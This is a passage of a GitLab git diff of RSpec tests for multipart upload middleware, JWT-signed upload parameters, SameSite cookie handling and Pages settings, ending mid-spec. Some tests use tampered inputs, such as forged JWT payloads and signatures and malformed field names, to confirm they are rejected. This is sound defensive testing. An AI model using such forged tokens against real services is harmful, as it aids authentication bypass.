+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Middleware::Multipart::Handler do
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be(:env) { Rack::MockRequest.env_for('/', method: 'post', params: {}) }
+ let_it_be(:message) { { 'rewritten_fields' => {} } }
+
+ describe '#allowed_paths' do
+ let_it_be(:expected_allowed_paths) do
+ [
+ Dir.tmpdir,
+ ::FileUploader.root,
+ ::Gitlab.config.uploads.storage_path,
+ ::JobArtifactUploader.workhorse_upload_path,
+ ::LfsObjectUploader.workhorse_upload_path,
+ File.join(Rails.root, 'public/uploads/tmp')
+ ]
+ end
+
+ let_it_be(:expected_with_packages_path) { expected_allowed_paths + [::Packages::PackageFileUploader.workhorse_upload_path] }
+
+ subject { described_class.new(env, message).send(:allowed_paths) }
+
+ where(:package_features_enabled, :object_storage_enabled, :direct_upload_enabled, :expected_paths) do
+ false | false | true | :expected_allowed_paths
+ false | false | false | :expected_allowed_paths
+ false | true | true | :expected_allowed_paths
+ false | true | false | :expected_allowed_paths
+ true | false | true | :expected_with_packages_path
+ true | false | false | :expected_with_packages_path
+ true | true | true | :expected_allowed_paths
+ true | true | false | :expected_with_packages_path
+ end
+
+ with_them do
+ before do
+ stub_config(packages: {
+ enabled: package_features_enabled,
+ object_store: {
+ enabled: object_storage_enabled,
+ direct_upload: direct_upload_enabled
+ },
+ storage_path: '/any/dir'
+ })
+ end
+
+ it { is_expected.to eq(send(expected_paths)) }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/middleware/multipart_spec.rb b/spec/lib/gitlab/middleware/multipart_spec.rb
deleted file mode 100644
index 3b64fe335e8..00000000000
--- a/spec/lib/gitlab/middleware/multipart_spec.rb
+++ /dev/null
@@ -1,313 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require 'tempfile'
-
-RSpec.describe Gitlab::Middleware::Multipart do
- include_context 'multipart middleware context'
-
- RSpec.shared_examples_for 'multipart upload files' do
- it 'opens top-level files' do
- Tempfile.open('top-level') do |tempfile|
- rewritten = { 'file' => tempfile.path }
- in_params = { 'file.name' => original_filename, 'file.path' => file_path, 'file.remote_id' => remote_id, 'file.size' => file_size }
- env = post_env(rewritten, in_params, Gitlab::Workhorse.secret, 'gitlab-workhorse')
-
- expect_uploaded_file(tempfile, %w(file))
-
- middleware.call(env)
- end
- end
-
- it 'opens files one level deep' do
- Tempfile.open('one-level') do |tempfile|
- rewritten = { 'user[avatar]' => tempfile.path }
- in_params = { 'user' => { 'avatar' => { '.name' => original_filename, '.path' => file_path, '.remote_id' => remote_id, '.size' => file_size } } }
- env = post_env(rewritten, in_params, Gitlab::Workhorse.secret, 'gitlab-workhorse')
-
- expect_uploaded_file(tempfile, %w(user avatar))
-
- middleware.call(env)
- end
- end
-
- it 'opens files two levels deep' do
- Tempfile.open('two-levels') do |tempfile|
- in_params = { 'project' => { 'milestone' => { 'themesong' => { '.name' => original_filename, '.path' => file_path, '.remote_id' => remote_id, '.size' => file_size } } } }
- rewritten = { 'project[milestone][themesong]' => tempfile.path }
- env = post_env(rewritten, in_params, Gitlab::Workhorse.secret, 'gitlab-workhorse')
-
- expect_uploaded_file(tempfile, %w(project milestone themesong))
-
- middleware.call(env)
- end
- end
-
- def expect_uploaded_file(tempfile, path)
- expect(app).to receive(:call) do |env|
- file = get_params(env).dig(*path)
- expect(file).to be_a(::UploadedFile)
- expect(file.original_filename).to eq(original_filename)
-
- if remote_id
- expect(file.remote_id).to eq(remote_id)
- expect(file.path).to be_nil
- else
- expect(file.path).to eq(File.realpath(tempfile.path))
- expect(file.remote_id).to be_nil
- end
- end
- end
- end
-
- RSpec.shared_examples_for 'handling CI artifact upload' do
- it 'uploads both file and metadata' do
- Tempfile.open('file') do |file|
- Tempfile.open('metadata') do |metadata|
- rewritten = { 'file' => file.path, 'metadata' => metadata.path }
- in_params = { 'file.name' => 'file.txt', 'file.path' => file_path, 'file.remote_id' => file_remote_id, 'file.size' => file_size, 'metadata.name' => 'metadata.gz' }
- env = post_env(rewritten, in_params, Gitlab::Workhorse.secret, 'gitlab-workhorse')
-
- with_expected_uploaded_artifact_files(file, metadata) do |uploaded_file, uploaded_metadata|
- expect(uploaded_file).to be_a(::UploadedFile)
- expect(uploaded_file.original_filename).to eq('file.txt')
-
- if file_remote_id
- expect(uploaded_file.remote_id).to eq(file_remote_id)
- expect(uploaded_file.size).to eq(file_size)
- expect(uploaded_file.path).to be_nil
- else
- expect(uploaded_file.path).to eq(File.realpath(file.path))
- expect(uploaded_file.remote_id).to be_nil
- end
-
- expect(uploaded_metadata).to be_a(::UploadedFile)
- expect(uploaded_metadata.original_filename).to eq('metadata.gz')
- expect(uploaded_metadata.path).to eq(File.realpath(metadata.path))
- expect(uploaded_metadata.remote_id).to be_nil
- end
-
- middleware.call(env)
- end
- end
- end
-
- def with_expected_uploaded_artifact_files(file, metadata)
- expect(app).to receive(:call) do |env|
- file = get_params(env).dig('file')
- metadata = get_params(env).dig('metadata')
-
- yield file, metadata
- end
- end
- end
-
- it 'rejects headers signed with the wrong secret' do
- env = post_env({ 'file' => '/var/empty/nonesuch' }, {}, 'x' * 32, 'gitlab-workhorse')
-
- expect { middleware.call(env) }.to raise_error(JWT::VerificationError)
- end
-
- it 'rejects headers signed with the wrong issuer' do
- env = post_env({ 'file' => '/var/empty/nonesuch' }, {}, Gitlab::Workhorse.secret, 'acme-inc')
-
- expect { middleware.call(env) }.to raise_error(JWT::InvalidIssuerError)
- end
-
- context 'with invalid rewritten field' do
- invalid_field_names = [
- '[file]',
- ';file',
- 'file]',
- ';file]',
- 'file]]',
- 'file;;'
- ]
-
- invalid_field_names.each do |invalid_field_name|
- it "rejects invalid rewritten field name #{invalid_field_name}" do
- env = post_env({ invalid_field_name => nil }, {}, Gitlab::Workhorse.secret, 'gitlab-workhorse')
-
- expect { middleware.call(env) }.to raise_error(RuntimeError, "invalid field: \"#{invalid_field_name}\"")
- end
- end
- end
-
- context 'with remote file' do
- let(:remote_id) { 'someid' }
- let(:file_size) { 300 }
- let(:file_path) { '' }
-
- it_behaves_like 'multipart upload files'
- end
-
- context 'with remote file and a file path set' do
- let(:remote_id) { 'someid' }
- let(:file_size) { 300 }
- let(:file_path) { 'not_a_valid_file_path' } # file path will come from the rewritten_fields
-
- it_behaves_like 'multipart upload files'
- end
-
- context 'with local file' do
- let(:remote_id) { nil }
- let(:file_size) { nil }
- let(:file_path) { 'not_a_valid_file_path' } # file path will come from the rewritten_fields
-
- it_behaves_like 'multipart upload files'
- end
-
- context 'with remote CI artifact upload' do
- let(:file_remote_id) { 'someid' }
- let(:file_size) { 300 }
- let(:file_path) { 'not_a_valid_file_path' } # file path will come from the rewritten_fields
-
- it_behaves_like 'handling CI artifact upload'
- end
-
- context 'with local CI artifact upload' do
- let(:file_remote_id) { nil }
- let(:file_size) { nil }
- let(:file_path) { 'not_a_valid_file_path' } # file path will come from the rewritten_fields
-
- it_behaves_like 'handling CI artifact upload'
- end
-
- it 'allows files in uploads/tmp directory' do
- with_tmp_dir('public/uploads/tmp') do |dir, env|
- expect(app).to receive(:call) do |env|
- expect(get_params(env)['file']).to be_a(::UploadedFile)
- end
-
- middleware.call(env)
- end
- end
-
- it 'allows files in the job artifact upload path' do
- with_tmp_dir('artifacts') do |dir, env|
- expect(JobArtifactUploader).to receive(:workhorse_upload_path).and_return(File.join(dir, 'artifacts'))
- expect(app).to receive(:call) do |env|
- expect(get_params(env)['file']).to be_a(::UploadedFile)
- end
-
- middleware.call(env)
- end
- end
-
- it 'allows files in the lfs upload path' do
- with_tmp_dir('lfs-objects') do |dir, env|
- expect(LfsObjectUploader).to receive(:workhorse_upload_path).and_return(File.join(dir, 'lfs-objects'))
- expect(app).to receive(:call) do |env|
- expect(get_params(env)['file']).to be_a(::UploadedFile)
- end
-
- middleware.call(env)
- end
- end
-
- it 'allows symlinks for uploads dir' do
- Tempfile.open('two-levels') do |tempfile|
- symlinked_dir = '/some/dir/uploads'
- symlinked_path = File.join(symlinked_dir, File.basename(tempfile.path))
- env = post_env({ 'file' => symlinked_path }, { 'file.name' => original_filename, 'file.path' => symlinked_path }, Gitlab::Workhorse.secret, 'gitlab-workhorse')
-
- allow(FileUploader).to receive(:root).and_return(symlinked_dir)
- allow(UploadedFile).to receive(:allowed_paths).and_return([symlinked_dir, Gitlab.config.uploads.storage_path])
- allow(File).to receive(:realpath).and_call_original
- allow(File).to receive(:realpath).with(symlinked_dir).and_return(Dir.tmpdir)
- allow(File).to receive(:realpath).with(symlinked_path).and_return(tempfile.path)
- allow(File).to receive(:exist?).and_call_original
- allow(File).to receive(:exist?).with(symlinked_dir).and_return(true)
-
- # override Dir.tmpdir because this dir is in the list of allowed paths
- # and it would match FileUploader.root path (which in this test is linked
- # to /tmp too)
- allow(Dir).to receive(:tmpdir).and_return(File.join(Dir.tmpdir, 'tmpsubdir'))
-
- expect(app).to receive(:call) do |env|
- expect(get_params(env)['file']).to be_a(::UploadedFile)
- end
-
- middleware.call(env)
- end
- end
-
- describe '#call' do
- context 'with packages storage' do
- using RSpec::Parameterized::TableSyntax
-
- let(:storage_path) { 'shared/packages' }
-
- RSpec.shared_examples 'allowing the multipart upload' do
- it 'allows files to be uploaded' do
- with_tmp_dir('tmp/uploads', storage_path) do |dir, env|
- allow(Packages::PackageFileUploader).to receive(:root).and_return(File.join(dir, storage_path))
-
- expect(app).to receive(:call) do |env|
- expect(get_params(env)['file']).to be_a(::UploadedFile)
- end
-
- middleware.call(env)
- end
- end
- end
-
- RSpec.shared_examples 'not allowing the multipart upload when package upload path is used' do
- it 'does not allow files to be uploaded' do
- with_tmp_dir('tmp/uploads', storage_path) do |dir, env|
- # with_tmp_dir sets the same workhorse_upload_path for all Uploaders,
- # so we have to prevent JobArtifactUploader and LfsObjectUploader to
- # allow the tested path
- allow(JobArtifactUploader).to receive(:workhorse_upload_path).and_return(Dir.tmpdir)
- allow(LfsObjectUploader).to receive(:workhorse_upload_path).and_return(Dir.tmpdir)
-
- status, headers, body = middleware.call(env)
-
- expect(status).to eq(400)
- expect(headers).to eq({ 'Content-Type' => 'text/plain' })
- expect(body).to start_with('insecure path used')
- end
- end
- end
-
- RSpec.shared_examples 'adding package storage to multipart allowed paths' do
- before do
- expect(::Packages::PackageFileUploader).to receive(:workhorse_upload_path).and_call_original
- end
-
- it_behaves_like 'allowing the multipart upload'
- end
-
- RSpec.shared_examples 'not adding package storage to multipart allowed paths' do
- before do
- expect(::Packages::PackageFileUploader).not_to receive(:workhorse_upload_path)
- end
-
- it_behaves_like 'not allowing the multipart upload when package upload path is used'
- end
-
- where(:object_storage_enabled, :direct_upload_enabled, :example_name) do
- false | true | 'adding package storage to multipart allowed paths'
- false | false | 'adding package storage to multipart allowed paths'
- true | true | 'not adding package storage to multipart allowed paths'
- true | false | 'adding package storage to multipart allowed paths'
- end
-
- with_them do
- before do
- stub_config(packages: {
- enabled: true,
- object_store: {
- enabled: object_storage_enabled,
- direct_upload: direct_upload_enabled
- },
- storage_path: storage_path
- })
- end
-
- it_behaves_like params[:example_name]
- end
- end
- end
-end
diff --git a/spec/lib/gitlab/middleware/multipart_with_handler_for_jwt_params_spec.rb b/spec/lib/gitlab/middleware/multipart_with_handler_for_jwt_params_spec.rb
new file mode 100644
index 00000000000..875e3820011
--- /dev/null
+++ b/spec/lib/gitlab/middleware/multipart_with_handler_for_jwt_params_spec.rb
@@ -0,0 +1,171 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Middleware::Multipart do
+ include MultipartHelpers
+
+ describe '#call' do
+ let(:app) { double(:app) }
+ let(:middleware) { described_class.new(app) }
+ let(:secret) { Gitlab::Workhorse.secret }
+ let(:issuer) { 'gitlab-workhorse' }
+
+ subject do
+ env = post_env(
+ rewritten_fields: rewritten_fields,
+ params: params,
+ secret: secret,
+ issuer: issuer
+ )
+ middleware.call(env)
+ end
+
+ before do
+ stub_feature_flags(upload_middleware_jwt_params_handler: true)
+ end
+
+ context 'remote file mode' do
+ let(:mode) { :remote }
+
+ it_behaves_like 'handling all upload parameters conditions'
+
+ context 'and a path set' do
+ include_context 'with one temporary file for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) { upload_parameters_for(key: 'file', filename: filename, remote_id: remote_id).merge('file.path' => '/should/not/be/read') }
+
+ it 'builds an UploadedFile' do
+ expect_uploaded_files(original_filename: filename, remote_id: remote_id, size: uploaded_file.size, params_path: %w(file))
+
+ subject
+ end
+ end
+ end
+
+ context 'local file mode' do
+ let(:mode) { :local }
+
+ it_behaves_like 'handling all upload parameters conditions'
+
+ context 'when file is' do
+ include_context 'with one temporary file for multipart'
+
+ let(:allowed_paths) { [Dir.tmpdir] }
+
+ before do
+ expect_next_instance_of(::Gitlab::Middleware::Multipart::HandlerForJWTParams) do |handler|
+ expect(handler).to receive(:allowed_paths).and_return(allowed_paths)
+ end
+ end
+
+ context 'in allowed paths' do
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) { upload_parameters_for(filepath: uploaded_filepath, key: 'file', filename: filename) }
+
+ it 'builds an UploadedFile' do
+ expect_uploaded_files(filepath: uploaded_filepath, original_filename: filename, size: uploaded_file.size, params_path: %w(file))
+
+ subject
+ end
+ end
+
+ context 'not in allowed paths' do
+ let(:allowed_paths) { [] }
+
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) { upload_parameters_for(filepath: uploaded_filepath, key: 'file') }
+
+ it 'returns an error' do
+ result = subject
+
+ expect(result[0]).to eq(400)
+ expect(result[2]).to include('insecure path used')
+ end
+ end
+ end
+ end
+
+ context 'with dummy params in remote mode' do
+ let(:rewritten_fields) { { 'file' => 'should/not/be/read' } }
+ let(:params) { upload_parameters_for(key: 'file') }
+ let(:mode) { :remote }
+
+ context 'with an invalid secret' do
+ let(:secret) { 'INVALID_SECRET' }
+
+ it { expect { subject }.to raise_error(JWT::VerificationError) }
+ end
+
+ context 'with an invalid issuer' do
+ let(:issuer) { 'INVALID_ISSUER' }
+
+ it { expect { subject }.to raise_error(JWT::InvalidIssuerError) }
+ end
+
+ context 'with invalid rewritten field key' do
+ invalid_keys = [
+ '[file]',
+ ';file',
+ 'file]',
+ ';file]',
+ 'file]]',
+ 'file;;'
+ ]
+
+ invalid_keys.each do |invalid_key|
+ context invalid_key do
+ let(:rewritten_fields) { { invalid_key => 'should/not/be/read' } }
+
+ it { expect { subject }.to raise_error(RuntimeError, "invalid field: \"#{invalid_key}\"") }
+ end
+ end
+ end
+
+ context 'with invalid key in parameters' do
+ include_context 'with one temporary file for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) { upload_parameters_for(filepath: uploaded_filepath, key: 'wrong_key', filename: filename, remote_id: remote_id) }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(RuntimeError, 'Empty JWT param: file.gitlab-workhorse-upload')
+ end
+ end
+
+ context 'with a modified JWT payload' do
+ include_context 'with one temporary file for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:crafted_payload) { Base64.urlsafe_encode64({ 'path' => 'test' }.to_json) }
+ let(:params) do
+ upload_parameters_for(filepath: uploaded_filepath, key: 'file', filename: filename, remote_id: remote_id).tap do |params|
+ header, _, sig = params['file.gitlab-workhorse-upload'].split('.')
+ params['file.gitlab-workhorse-upload'] = [header, crafted_payload, sig].join('.')
+ end
+ end
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(JWT::VerificationError, 'Signature verification raised')
+ end
+ end
+
+ context 'with a modified JWT sig' do
+ include_context 'with one temporary file for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) do
+ upload_parameters_for(filepath: uploaded_filepath, key: 'file', filename: filename, remote_id: remote_id).tap do |params|
+ header, payload, sig = params['file.gitlab-workhorse-upload'].split('.')
+ params['file.gitlab-workhorse-upload'] = [header, payload, "#{sig}modified"].join('.')
+ end
+ end
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(JWT::VerificationError, 'Signature verification raised')
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/middleware/multipart_with_handler_spec.rb b/spec/lib/gitlab/middleware/multipart_with_handler_spec.rb
new file mode 100644
index 00000000000..742a5639ace
--- /dev/null
+++ b/spec/lib/gitlab/middleware/multipart_with_handler_spec.rb
@@ -0,0 +1,144 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Middleware::Multipart do
+ include MultipartHelpers
+
+ describe '#call' do
+ let(:app) { double(:app) }
+ let(:middleware) { described_class.new(app) }
+ let(:secret) { Gitlab::Workhorse.secret }
+ let(:issuer) { 'gitlab-workhorse' }
+
+ subject do
+ env = post_env(
+ rewritten_fields: rewritten_fields,
+ params: params,
+ secret: secret,
+ issuer: issuer
+ )
+ middleware.call(env)
+ end
+
+ before do
+ stub_feature_flags(upload_middleware_jwt_params_handler: false)
+ end
+
+ context 'remote file mode' do
+ let(:mode) { :remote }
+
+ it_behaves_like 'handling all upload parameters conditions'
+
+ context 'and a path set' do
+ include_context 'with one temporary file for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) { upload_parameters_for(key: 'file', filename: filename, remote_id: remote_id).merge('file.path' => '/should/not/be/read') }
+
+ it 'builds an UploadedFile' do
+ expect_uploaded_files(original_filename: filename, remote_id: remote_id, size: uploaded_file.size, params_path: %w(file))
+
+ subject
+ end
+ end
+ end
+
+ context 'local file mode' do
+ let(:mode) { :local }
+
+ it_behaves_like 'handling all upload parameters conditions'
+
+ context 'when file is' do
+ include_context 'with one temporary file for multipart'
+
+ let(:allowed_paths) { [Dir.tmpdir] }
+
+ before do
+ expect_next_instance_of(::Gitlab::Middleware::Multipart::Handler) do |handler|
+ expect(handler).to receive(:allowed_paths).and_return(allowed_paths)
+ end
+ end
+
+ context 'in allowed paths' do
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) { upload_parameters_for(filepath: uploaded_filepath, key: 'file', filename: filename) }
+
+ it 'builds an UploadedFile' do
+ expect_uploaded_files(filepath: uploaded_filepath, original_filename: filename, size: uploaded_file.size, params_path: %w(file))
+
+ subject
+ end
+ end
+
+ context 'not in allowed paths' do
+ let(:allowed_paths) { [] }
+
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) { upload_parameters_for(filepath: uploaded_filepath, key: 'file') }
+
+ it 'returns an error' do
+ result = subject
+
+ expect(result[0]).to eq(400)
+ expect(result[2]).to include('insecure path used')
+ end
+ end
+ end
+ end
+
+ context 'with dummy params in remote mode' do
+ let(:rewritten_fields) { { 'file' => 'should/not/be/read' } }
+ let(:params) { upload_parameters_for(key: 'file') }
+ let(:mode) { :remote }
+
+ context 'with an invalid secret' do
+ let(:secret) { 'INVALID_SECRET' }
+
+ it { expect { subject }.to raise_error(JWT::VerificationError) }
+ end
+
+ context 'with an invalid issuer' do
+ let(:issuer) { 'INVALID_ISSUER' }
+
+ it { expect { subject }.to raise_error(JWT::InvalidIssuerError) }
+ end
+
+ context 'with invalid rewritten field key' do
+ invalid_keys = [
+ '[file]',
+ ';file',
+ 'file]',
+ ';file]',
+ 'file]]',
+ 'file;;'
+ ]
+
+ invalid_keys.each do |invalid_key|
+ context invalid_key do
+ let(:rewritten_fields) { { invalid_key => 'should/not/be/read' } }
+
+ it { expect { subject }.to raise_error(RuntimeError, "invalid field: \"#{invalid_key}\"") }
+ end
+ end
+ end
+
+ context 'with invalid key in parameters' do
+ include_context 'with one temporary file for multipart'
+
+ let(:rewritten_fields) { rewritten_fields_hash('file' => uploaded_filepath) }
+ let(:params) { upload_parameters_for(filepath: uploaded_filepath, key: 'wrong_key', filename: filename, remote_id: remote_id) }
+
+ it 'builds no UploadedFile' do
+ expect(app).to receive(:call) do |env|
+ received_params = get_params(env)
+ expect(received_params['file']).to be_nil
+ expect(received_params['wrong_key']).to be_nil
+ end
+
+ subject
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/middleware/same_site_cookies_spec.rb b/spec/lib/gitlab/middleware/same_site_cookies_spec.rb
index 7c5262ca318..2d1a9b2eee2 100644
--- a/spec/lib/gitlab/middleware/same_site_cookies_spec.rb
+++ b/spec/lib/gitlab/middleware/same_site_cookies_spec.rb
@@ -3,18 +3,24 @@
require 'spec_helper'
RSpec.describe Gitlab::Middleware::SameSiteCookies do
+ using RSpec::Parameterized::TableSyntax
include Rack::Test::Methods
+ let(:user_agent) { nil }
let(:mock_app) do
Class.new do
- attr_reader :cookies
+ attr_reader :cookies, :user_agent
def initialize(cookies)
@cookies = cookies
end
def call(env)
- [200, { 'Set-Cookie' => cookies }, ['OK']]
+ [
+ 200,
+ { 'Set-Cookie' => cookies },
+ ['OK']
+ ]
end
end
end
@@ -29,7 +35,7 @@ RSpec.describe Gitlab::Middleware::SameSiteCookies do
let(:request) { Rack::MockRequest.new(subject) }
def do_request
- request.post('/some/path')
+ request.post('/some/path', { 'HTTP_USER_AGENT' => user_agent }.compact )
end
context 'without SSL enabled' do
@@ -63,6 +69,43 @@ RSpec.describe Gitlab::Middleware::SameSiteCookies do
end
end
+ context 'with different browsers' do
+ where(:description, :user_agent, :expected) do
+ "iOS 12" | "Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1" | false
+ "macOS 10.14 + Safari" | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Safari/605.1.15" | false
+ "macOS 10.14 + Opera" | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55" | false
+ "macOS 10.14 + Chrome v80" | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36" | true
+ "Chrome v41" | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" | true
+ "Chrome v50" | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2348.1 Safari/537.36" | true
+ "Chrome v51" | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2718.15 Safari/537.36" | false
+ "Chrome v62" | "Mozilla/5.0 (Macintosh; Intel NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36" | false
+ "Chrome v66" | "Mozilla/5.0 (Linux; Android 4.4.2; Avvio_793 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.126 Mobile Safari/537.36" | false
+ "Chrome v67" | "Mozilla/5.0 (Linux; Android 7.1.1; SM-J510F Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3371.0 Mobile Safari/537.36" | true
+ "Chrome v85" | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36" | true
+ "Chromium v66" | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/66.0.3359.181 HeadlessChrome/66.0.3359.181 Safari/537.36" | false
+ "Chromium v85" | "Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/85.0.4183.59 Chrome/85.0.4183.59 Safari/537.36" | true
+ "UC Browser 12.0.4" | "Mozilla/5.0 (Linux; U; Android 4.4.4; zh-CN; A31 Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 UCBrowser/12.0.4.986 Mobile Safari/537.36" | false
+ "UC Browser 12.13.0" | "Mozilla/5.0 (Linux; U; Android 7.1.1; en-US; SM-C9000 Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 UCBrowser/12.13.0.1207 Mobile Safari/537.36" | false
+ "UC Browser 12.13.2" | "Mozilla/5.0 (Linux; U; Android 9; en-US; Redmi Note 7 Build/PQ3B.190801.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 UCBrowser/12.13.2.1208 Mobile Safari/537.36" | true
+ "UC Browser 12.13.5" | "Mozilla/5.0 (Linux; U; Android 5.1.1; en-US; PHICOMM C630 (CLUE L) Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 UCBrowser/12.13.5.1209 Mobile Safari/537.36" | true
+ "Playstation" | "Mozilla/5.0 (PlayStation 4 2.51) AppleWebKit/537.73 (KHTML, like Gecko)" | true
+ end
+
+ with_them do
+ let(:cookies) { "thiscookie=12345" }
+
+ it 'returns expected SameSite status' do
+ response = do_request
+
+ if expected
+ expect(response['Set-Cookie']).to include('SameSite=None')
+ else
+ expect(response['Set-Cookie']).not_to include('SameSite=None')
+ end
+ end
+ end
+ end
+
context 'with single cookie' do
let(:cookies) { "thiscookie=12345" }
diff --git a/spec/lib/gitlab/pages/settings_spec.rb b/spec/lib/gitlab/pages/settings_spec.rb
index 7d4db073d73..f5424a98153 100644
--- a/spec/lib/gitlab/pages/settings_spec.rb
+++ b/spec/lib/gitlab/pages/settings_spec.rb
@@ -10,38 +10,14 @@ RSpec.describe Gitlab::Pages::Settings do
it { is_expected.to eq('the path') }
- it 'does not track calls' do
- expect(::Gitlab::ErrorTracking).not_to receive(:track_exception)
-
- subject
- end
-
- context 'when running under a web server' do
+ context 'when running under a web server outside of test mode' do
before do
+ allow(::Gitlab::Runtime).to receive(:test_suite?).and_return(false)
allow(::Gitlab::Runtime).to receive(:web_server?).and_return(true)
end
- it { is_expected.to eq('the path') }
-
- it 'does not track calls' do
- expect(::Gitlab::ErrorTracking).not_to receive(:track_exception)
-
- subject
- end
-
- context 'with the env var' do
- before do
- stub_env('GITLAB_PAGES_DENY_DISK_ACCESS', '1')
- end
-
- it { is_expected.to eq('the path') }
-
- it 'tracks a DiskAccessDenied exception' do
- expect(::Gitlab::ErrorTracking).to receive(:track_exception)
- .with(instance_of(described_class::DiskAccessDenied)).and_call_original
-
- subject
- end
+ it 'raises a DiskAccessDenied exception' do
+ expect { subject }.to raise_error(described_class::DiskAccessDenied)
end
end
end
diff --git a/spec/lib/gitlab/pages_transfer_spec.rb b/spec/lib/gitlab/pages_transfer_spec.rb
new file mode 100644
index 00000000000..4f0ee76b244
--- /dev/null
+++ b/spec/lib/gitlab/pages_transfer_spec.rb
@@ -0,0 +1,137 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::PagesTransfer do
+ describe '#async' do
+ let(:async) { subject.async }
+
+ context 'when receiving an allowed method' do
+ it 'schedules a PagesTransferWorker', :aggregate_failures do
+ described_class::Async::METHODS.each do |meth|
+ expect(PagesTransferWorker)
+ .to receive(:perform_async).with(meth, %w[foo bar])
+
+ async.public_send(meth, 'foo', 'bar')
+ end
+ end
+ end
+
+ context 'when receiving a private method' do
+ it 'raises NoMethodError' do
+ expect { async.move('foo', 'bar') }.to raise_error(NoMethodError)
+ end
+ end
+
+ context 'when receiving a non-existent method' do
+ it 'raises NoMethodError' do
+ expect { async.foo('bar') }.to raise_error(NoMethodError)
+ end
+ end
+ end
+
+ RSpec.shared_examples 'moving a pages directory' do |parameter|
+ let!(:pages_path_before) { project.pages_path }
+ let(:config_path_before) { File.join(pages_path_before, 'config.json') }
+ let(:pages_path_after) { project.reload.pages_path }
+ let(:config_path_after) { File.join(pages_path_after, 'config.json') }
+
+ before do
+ FileUtils.mkdir_p(pages_path_before)
+ FileUtils.touch(config_path_before)
+ end
+
+ after do
+ FileUtils.remove_entry(pages_path_before, true)
+ FileUtils.remove_entry(pages_path_after, true)
+ end
+
+ it 'moves the directory' do
+ subject.public_send(meth, *args)
+
+ expect(File.exist?(config_path_before)).to be(false)
+ expect(File.exist?(config_path_after)).to be(true)
+ end
+
+ it 'returns false if it fails to move the directory' do
+ # Move the directory once, so it can't be moved again
+ subject.public_send(meth, *args)
+
+ expect(subject.public_send(meth, *args)).to be(false)
+ end
+ end
+
+ describe '#move_namespace' do
+ # Can't use let_it_be because we change the path
+ let(:group_1) { create(:group) }
+ let(:group_2) { create(:group) }
+ let(:subgroup) { create(:group, parent: group_1) }
+ let(:project) { create(:project, group: subgroup) }
+ let(:new_path) { "#{group_2.path}/#{subgroup.path}" }
+ let(:meth) { 'move_namespace' }
+
+ # Store the path before we change it
+ let!(:args) { [project.path, subgroup.full_path, new_path] }
+
+ before do
+ # We need to skip hooks, otherwise the directory will be moved
+ # via an ActiveRecord callback
+ subgroup.update_columns(parent_id: group_2.id)
+ subgroup.route.update!(path: new_path)
+ end
+
+ include_examples 'moving a pages directory'
+ end
+
+ describe '#move_project' do
+ # Can't use let_it_be because we change the path
+ let(:group_1) { create(:group) }
+ let(:group_2) { create(:group) }
+ let(:project) { create(:project, group: group_1) }
+ let(:new_path) { group_2.path }
+ let(:meth) { 'move_project' }
+ let(:args) { [project.path, group_1.full_path, group_2.full_path] }
+
+ include_examples 'moving a pages directory' do
+ before do
